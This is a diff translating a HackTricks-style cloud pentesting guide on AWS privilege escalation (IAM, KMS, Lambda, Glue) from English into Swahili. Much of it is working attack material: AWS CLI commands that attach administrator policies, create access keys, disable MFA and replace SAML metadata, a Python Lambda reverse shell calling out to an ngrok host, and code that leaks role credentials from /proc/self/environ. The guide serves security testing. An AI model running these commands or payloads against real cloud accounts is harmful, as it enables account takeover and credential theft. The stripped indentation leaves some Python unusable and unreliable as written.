kwa huduma ya glue iliyotajwa. ### `glue:UpdateJob` -Just with the update permission an attacked could steal the IAM Credentials of the already attached role. +Kwa ruhusa ya sasisho tu, mshambuliaji anaweza kuiba IAM Credentials za jukumu lililounganishwa tayari. -**Potential Impact:** Privesc to the glue service role attached. +**Madhara Yanayoweza Kutokea:** Privesc kwa huduma ya glue iliyounganishwa. -## References +## Marejeo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 7807f6152..37b8987af 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -For more info about IAM check: +Kwa maelezo zaidi kuhusu IAM angalia: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,228 +12,189 @@ For more info about IAM check: ### **`iam:CreatePolicyVersion`** -Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions. - -**Exploit Command:** +Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ikipita hitaji la ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera ya `--set-as-default`. Hii inaruhusu kufafanua ruhusa za kawaida. +**Amri ya Kutumia:** ```bash aws iam create-policy-version --policy-arn \ - --policy-document file:///path/to/administrator/policy.json --set-as-default +--policy-document file:///path/to/administrator/policy.json --set-as-default ``` - -**Impact:** Directly escalates privileges by allowing any action on any resource. +**Impact:** Inafanya kupandisha haki moja kwa moja kwa kuruhusu hatua yoyote kwenye rasilimali yoyote. ### **`iam:SetDefaultPolicyVersion`** -Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions. +Inaruhusu kubadilisha toleo la kawaida la sera ya IAM kuwa toleo lingine lililopo, ambayo inaweza kuongeza haki ikiwa toleo jipya lina ruhusa zaidi. **Bash Command:** - ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` - -**Impact:** Indirect privilege escalation by enabling more permissions. +**Madhara:** Kuinua hadhi kwa njia isiyo ya moja kwa moja kwa kuwezesha ruhusa zaidi. ### **`iam:CreateAccessKey`** -Enables creating access key ID and secret access key for another user, leading to potential privilege escalation. - -**Exploit:** +Inaruhusu kuunda kitambulisho cha ufikiaji na ufunguo wa siri wa ufikiaji kwa mtumiaji mwingine, ikisababisha kuweza kuinua hadhi. +**Kuvunja:** ```bash aws iam create-access-key --user-name ``` - -**Impact:** Direct privilege escalation by assuming another user's extended permissions. +**Madhara:** Kuinua kibali moja kwa moja kwa kudai ruhusa za mtumiaji mwingine. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation. - -**Exploit for Creation:** +Inaruhusu kuunda au kuboresha wasifu wa kuingia, ikiwa ni pamoja na kuweka nywila za kuingia kwenye AWS console, na kusababisha kuinua kibali moja kwa moja. +**Dhamira ya Uundaji:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Exploit for Update:** - +**Kuvunja kwa Sasisho:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Impact:** Direct privilege escalation by logging in as "any" user. +**Madhara:** Kuinua kibali moja kwa moja kwa kuingia kama "mtumiaji yeyote". ### **`iam:UpdateAccessKey`** -Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key. - -**Exploit:** +Inaruhusu kuwezesha ufunguo wa upatikanaji uliozimwa, ambayo inaweza kusababisha ufikiaji usioidhinishwa ikiwa mshambuliaji ana ufunguo uliozimwa. +**Dhamira:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` - -**Impact:** Direct privilege escalation by reactivating access keys. +**Madhara:** Kuinua kibali moja kwa moja kwa kurejesha funguo za ufikiaji. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user. - -**Exploit for Creation:** +Inaruhusu kuunda au kurekebisha ithibati za huduma maalum za AWS (mfano, CodeCommit, Amazon Keyspaces), ikirithi ruhusa za mtumiaji anayehusishwa. +**Dhamira ya Uundaji:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` - -**Exploit for Reset:** - +**Kuvunja kwa Upya:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` - -**Impact:** Direct privilege escalation within the user's service permissions. +**Madhara:** Kuinua kibali moja kwa moja ndani ya ruhusa za huduma za mtumiaji. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy. - -**Exploit for User:** +Inaruhusu kuambatisha sera kwa watumiaji au vikundi, kwa moja kwa moja kuinua kibali kwa kurithi ruhusa za sera iliyounganishwa. +**Dhibiti kwa Mtumiaji:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` - -**Exploit for Group:** - +**Kuvunja kwa Kundi:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` - -**Impact:** Direct privilege escalation to anything the policy grants. +**Athari:** Kuinua moja kwa moja kwa ruhusa kwa chochote ambacho sera inatoa. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions. - -**Exploit for Role:** +Inaruhusu kuambatisha au kuweka sera kwa majukumu, watumiaji, au vikundi, ikiruhusu kuinua moja kwa moja kwa ruhusa kwa kutoa ruhusa za ziada. +**Kudukua kwa Jukumu:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` - -**Exploit for Inline Policies:** - +**Kuvunja kwa Sera za Inline:** ```bash aws iam put-user-policy --user-name --policy-name "" \ - --policy-document "file:///path/to/policy.json" +--policy-document "file:///path/to/policy.json" aws iam put-group-policy --group-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json aws iam put-role-policy --role-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json ``` - -You can use a policy like: - +Unaweza kutumia sera kama: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } ``` - -**Impact:** Direct privilege escalation by adding permissions through policies. +**Madhara:** Kuongeza haki moja kwa moja kwa kuongeza ruhusa kupitia sera. ### **`iam:AddUserToGroup`** -Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions. - -**Exploit:** +Inaruhusu kuongeza mtu mwenyewe kwenye kundi la IAM, ikipandisha haki kwa kurithi ruhusa za kundi. +**Kuvunja:** ```bash aws iam add-user-to-group --group-name --user-name ``` - -**Impact:** Direct privilege escalation to the level of the group's permissions. +**Madhara:** Kuinua kibali moja kwa moja hadi kiwango cha ruhusa za kikundi. ### **`iam:UpdateAssumeRolePolicy`** -Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions. - -**Exploit:** +Inaruhusu kubadilisha hati ya sera ya kudhani jukumu la jukumu, ikiruhusu kudhani jukumu hilo na ruhusa zake zinazohusiana. +**Kuvunja:** ```bash aws iam update-assume-role-policy --role-name \ - --policy-document file:///path/to/assume/role/policy.json +--policy-document file:///path/to/assume/role/policy.json ``` - -Where the policy looks like the following, which gives the user permission to assume the role: - +Wakati sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "sts:AssumeRole", - "Principal": { - "AWS": "$USER_ARN" - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": { +"AWS": "$USER_ARN" +} +} +] } ``` - -**Impact:** Direct privilege escalation by assuming any role's permissions. +**Madhara:** Kuinua kibali moja kwa moja kwa kudai ruhusa za jukumu lolote. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation. - -**Exploit for SSH Key Upload:** +Inaruhusu kupakia funguo za umma za SSH kwa ajili ya uthibitishaji kwenye CodeCommit na kuzima vifaa vya MFA, ikisababisha kuinua kibali kisicho cha moja kwa moja. +**Kuvunja kwa Kupakia Funguo za SSH:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` - -**Exploit for MFA Deactivation:** - +**Kuvunja kwa Kuondoa MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` - -**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection. +**Madhara:** Kuinua hadhi isiyo ya moja kwa moja kwa kuwezesha ufikiaji wa CodeCommit au kuzima ulinzi wa MFA. ### **`iam:ResyncMFADevice`** -Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection. - -**Bash Command:** +Inaruhusu upatanisho wa kifaa cha MFA, ambayo inaweza kusababisha kuinua hadhi isiyo ya moja kwa moja kwa kudhibiti ulinzi wa MFA. +**Amri ya Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ - --authentication-code1 --authentication-code2 +--authentication-code1 --authentication-code2 ``` - -**Impact:** Indirect privilege escalation by adding or manipulating MFA devices. +**Madhara:** Kuongeza uwezo wa kupanda hadhi kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha vifaa vya MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it. - -Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back +Kwa ruhusa hizi unaweza **kubadilisha metadata ya XML ya muunganisho wa SAML**. Kisha, unaweza kutumia **shirikisho la SAML** ku **ingia** na **jukumu lolote ambalo linakubali** hilo. +Kumbuka kwamba kufanya hivi **watumiaji halali hawawezi kuingia**. Hata hivyo, unaweza kupata XML, hivyo unaweza kuweka yako, kuingia na kuunda mipangilio ya awali. ```bash # List SAMLs aws iam list-saml-providers @@ -249,14 +210,12 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` - > [!NOTE] -> TODO: A Tool capable of generating the SAML metadata and login with a specified role +> TODO: Chombo kinachoweza kuunda metadata ya SAML na kuingia na jukumu lililotajwa ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider. - +(Haijulikani kuhusu hii) Ikiwa mshambuliaji ana **idhini** hizi anaweza kuongeza **Thumbprint** mpya ili kuweza kuingia katika majukumu yote yanayotegemea mtoa huduma. ```bash # List providers aws iam list-open-id-connect-providers @@ -265,13 +224,8 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` - -## References +## Marejeleo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 02c05b76d..e362f4ba9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -4,7 +4,7 @@ ## KMS -For more info about KMS check: +Kwa maelezo zaidi kuhusu KMS angalia: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,8 +12,7 @@ For more info about KMS check: ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone: - +Kwa ruhusa hizi inawezekana **kubadilisha ruhusa za ufikiaji kwa funguo** ili iweze kutumika na akaunti nyingine au hata mtu yeyote: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -21,106 +20,91 @@ aws kms get-key-policy --key-id --policy-name # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow all use", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": ["kms:*"], - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow all use", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": ["kms:*"], +"Resource": "*" +} +] } ``` - ### `kms:CreateGrant` -It **allows a principal to use a KMS key:** - +Inaruhusu **mwanahisa kutumia funguo ya KMS:** ```bash aws kms create-grant \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - --grantee-principal arn:aws:iam::123456789012:user/exampleUser \ - --operations Decrypt +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +--grantee-principal arn:aws:iam::123456789012:user/exampleUser \ +--operations Decrypt ``` +> [!WARNING] +> Utoaji unaweza kuruhusu aina fulani tu za operesheni: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -> [!WARNING] -> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\ -> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\ -> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). - +> Kumbuka kwamba inaweza kuchukua dakika chache kwa KMS **kuruhusu mtumiaji kutumia ufunguo baada ya utoaji kuzalishwa**. Mara muda huo utakapopita, kiongozi anaweza kutumia ufunguo wa KMS bila kuhitaji kubainisha chochote.\ +> Hata hivyo, ikiwa inahitajika kutumia utoaji mara moja [tumia tokeni ya utoaji](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (angalia msimbo ufuatao).\ +> Kwa [**maelezo zaidi soma hii**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - ā€“-key-spec AES_256 \ - --grant-tokens $token +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +ā€“-key-spec AES_256 \ +--grant-tokens $token ``` - -Note that it's possible to list grant of keys with: - +Kumbuka kwamba inawezekana kuorodhesha ruhusa za funguo kwa: ```bash aws kms list-grants --key-id ``` - ### `kms:CreateKey`, `kms:ReplicateKey` -With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy. - -So, an attacker could abuse this to obtain privesc his access to the key and use it +Kwa ruhusa hizi inawezekana kuiga funguo ya KMS iliyo na uwezo wa mikoa mingi katika eneo tofauti na sera tofauti. +Hivyo, mshambuliaji anaweza kutumia hii kupata privesc ufikiaji wake kwa funguo na kuifanya. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - ### `kms:Decrypt` -This permission allows to use a key to decrypt some information.\ -For more information check: +Ruhusa hii inaruhusu kutumia ufunguo kufungua baadhi ya taarifa.\ +Kwa maelezo zaidi angalia: {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index d276ef737..5a964d4c3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -More info about lambda in: +Maelezo zaidi kuhusu lambda katika: {{#ref}} ../aws-services/aws-lambda-enum.md @@ -12,23 +12,22 @@ More info about lambda in: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\ -They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\ -Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\ - -A attacker could abuse this to get a **rev shell and steal the token**: +Watumiaji wenye ruhusa **`iam:PassRole`, `lambda:CreateFunction`, na `lambda:InvokeFunction`** wanaweza kuongeza mamlaka yao.\ +Wanaweza **kuunda kazi mpya ya Lambda na kuipatia jukumu la IAM lililopo**, wakitoa ruhusa zinazohusiana na jukumu hilo kwa kazi hiyo. Mtumiaji anaweza kisha **kuandika na kupakia msimbo kwenye kazi hii ya Lambda (kwa mfano, na rev shell)**.\ +Mara kazi hiyo inapowekwa, mtumiaji anaweza **kuanzisha utekelezaji wake** na vitendo vilivyokusudiwa kwa kuitisha kazi ya Lambda kupitia API ya AWS. Njia hii inaruhusu mtumiaji kufanya kazi kwa njia isiyo ya moja kwa moja kupitia kazi ya Lambda, akifanya kazi kwa kiwango cha ufikiaji kilichotolewa kwa jukumu la IAM lililohusishwa nacho.\\ +Mshambuliaji anaweza kutumia hii kupata **rev shell na kuiba token**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); - s.connect(('4.tcp.ngrok.io',14305)) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(['/bin/sh','-i']) - time.sleep(900) - return 0 +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 ``` ```bash @@ -37,8 +36,8 @@ zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ - --runtime python3.9 --role \ - --handler rev.lambda_handler --zip-file fileb://rev.zip +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt @@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` - -You could also **abuse the lambda role permissions** from the lambda function itself.\ -If the lambda role had enough permissions you could use it to grant admin rights to you: - +Unaweza pia **kutumia vibaya ruhusa za jukumu la lambda** kutoka kwa kazi ya lambda yenyewe.\ +Ikiwa jukumu la lambda lilikuwa na ruhusa za kutosha unaweza kulitumika kukupa haki za admin: ```python import boto3 def lambda_handler(event, context): - client = boto3.client('iam') - response = client.attach_user_policy( - UserName='my_username', - PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' - ) - return response +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response ``` - -It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda. - +Ni pia inawezekana kuvuja akreditivu za jukumu la lambda bila kuhitaji muunganisho wa nje. Hii itakuwa na manufaa kwa **Network isolated Lambdas** zinazotumika kwenye kazi za ndani. Ikiwa kuna vikundi vya usalama visivyojulikana vinavyofanya uchujaji wa shell zako za nyuma, kipande hiki cha msimbo kitakuruhusu kuvuja moja kwa moja akreditivu kama matokeo ya lambda. ```python def handler(event, context): -Ā  Ā  sessiontoken = open('/proc/self/environ', "r").read() -Ā  Ā  return { -Ā  Ā  Ā  Ā  'statusCode': 200, -Ā  Ā  Ā  Ā  'session': str(sessiontoken) -Ā  Ā  } +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la huduma ya lambda lililoainishwa. > [!CAUTION] -> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction` +> Kumbuka kwamba hata kama inaweza kuonekana kuvutia **`lambda:InvokeAsync`** **haikubali** kwa peke yake **kutekeleza `aws lambda invoke-async`**, unahitaji pia `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`** - +Kama katika hali ya awali, unaweza **kujipe ruhusa ya `lambda:InvokeFunction`** ikiwa una ruhusa **`lambda:AddPermission`** ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ - --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu la huduma ya lambda lililobainishwa. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\ -They can create a **Lambda function with malicious code and assign it an existing IAM role**. - -Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role. +Watumiaji wenye ruhusa **`iam:PassRole`, `lambda:CreateFunction`, na `lambda:CreateEventSourceMapping`** (na labda `dynamodb:PutItem` na `dynamodb:CreateTable`) wanaweza kwa njia isiyo ya moja kwa moja **kuinua mamlaka** hata bila `lambda:InvokeFunction`.\ +Wanaweza kuunda **kazi ya Lambda yenye msimbo mbaya na kuipatia jukumu la IAM lililopo**. +Badala ya kuitisha moja kwa moja Lambda, mtumiaji anajiandaa au anatumia meza ya DynamoDB iliyopo, akiunganisha nayo Lambda kupitia ramani ya chanzo cha tukio. Mpangilio huu unahakikisha kazi ya Lambda inachochewa **kiotomatiki wakati kipengele kipya** kinapoingia kwenye meza, ama kwa kitendo cha mtumiaji au mchakato mwingine, hivyo basi kuitisha kazi ya Lambda kwa njia isiyo ya moja kwa moja na kutekeleza msimbo huo kwa ruhusa za jukumu la IAM lililopitishwa. ```bash aws lambda create-function --function-name my_function \ - --runtime python3.8 --role \ - --handler lambda_function.lambda_handler \ - --zip-file fileb://rev.zip +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip ``` - -If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled: - +Ikiwa DynamoDB tayari iko hai katika mazingira ya AWS, mtumiaji tu **anahitaji kuanzisha ramani ya chanzo cha tukio** kwa kazi ya Lambda. Hata hivyo, ikiwa DynamoDB haitumiki, mtumiaji lazima **aweze kuunda meza mpya** yenye utiririshaji ulioanzishwa: ```bash aws dynamodb create-table --table-name my_table \ - --attribute-definitions AttributeName=Test,AttributeType=S \ - --key-schema AttributeName=Test,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` - -Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**: - +Sasa inawezekana **kuunganisha kazi ya Lambda na jedwali la DynamoDB** kwa **kuunda ramani ya chanzo cha tukio**: ```bash aws lambda create-event-source-mapping --function-name my_function \ - --event-source-arn \ - --enabled --starting-position LATEST +--event-source-arn \ +--enabled --starting-position LATEST ``` - -With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table: - +Na kazi ya Lambda iliyounganishwa na mtiririko wa DynamoDB, mshambuliaji anaweza **kuchochea Lambda kwa njia isiyo ya moja kwa moja kwa kuamsha mtiririko wa DynamoDB**. Hii inaweza kufanywa kwa **kuingiza kipengee** kwenye jedwali la DynamoDB: ```bash aws dynamodb put-item --table-name my_table \ - --item Test={S="Random string"} +--item Test={S="Random string"} ``` - -**Potential Impact:** Direct privesc to the lambda service role specified. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu la huduma ya lambda lililotajwa. ### `lambda:AddPermission` -An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource): - +Mshambuliaji mwenye ruhusa hii anaweza **kujipe (au wengine) ruhusa zozote** (hii inazalisha sera za msingi wa rasilimali kutoa ufikiaji wa rasilimali): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -147,71 +130,62 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` - -**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it. +**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la huduma ya lambda inayotumika kwa kutoa ruhusa ya kubadilisha msimbo na kuendesha. ### `lambda:AddLayerVersionPermission` -An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information - +Mshambuliaji mwenye ruhusa hii anaweza **kujipe mwenyewe (au wengine) ruhusa `lambda:GetLayerVersion`**. Anaweza kufikia safu na kutafuta udhaifu au taarifa nyeti. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` - -**Potential Impact:** Potential access to sensitive information. +**Madhara Yanayoweza Kutokea:** Upatikanaji wa taarifa nyeti. ### `lambda:UpdateFunctionCode` -Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\ -The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**. - -Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code. +Watumiaji wanaoshikilia ruhusa ya **`lambda:UpdateFunctionCode`** wana uwezo wa **kubadilisha msimbo wa kazi ya Lambda iliyopo 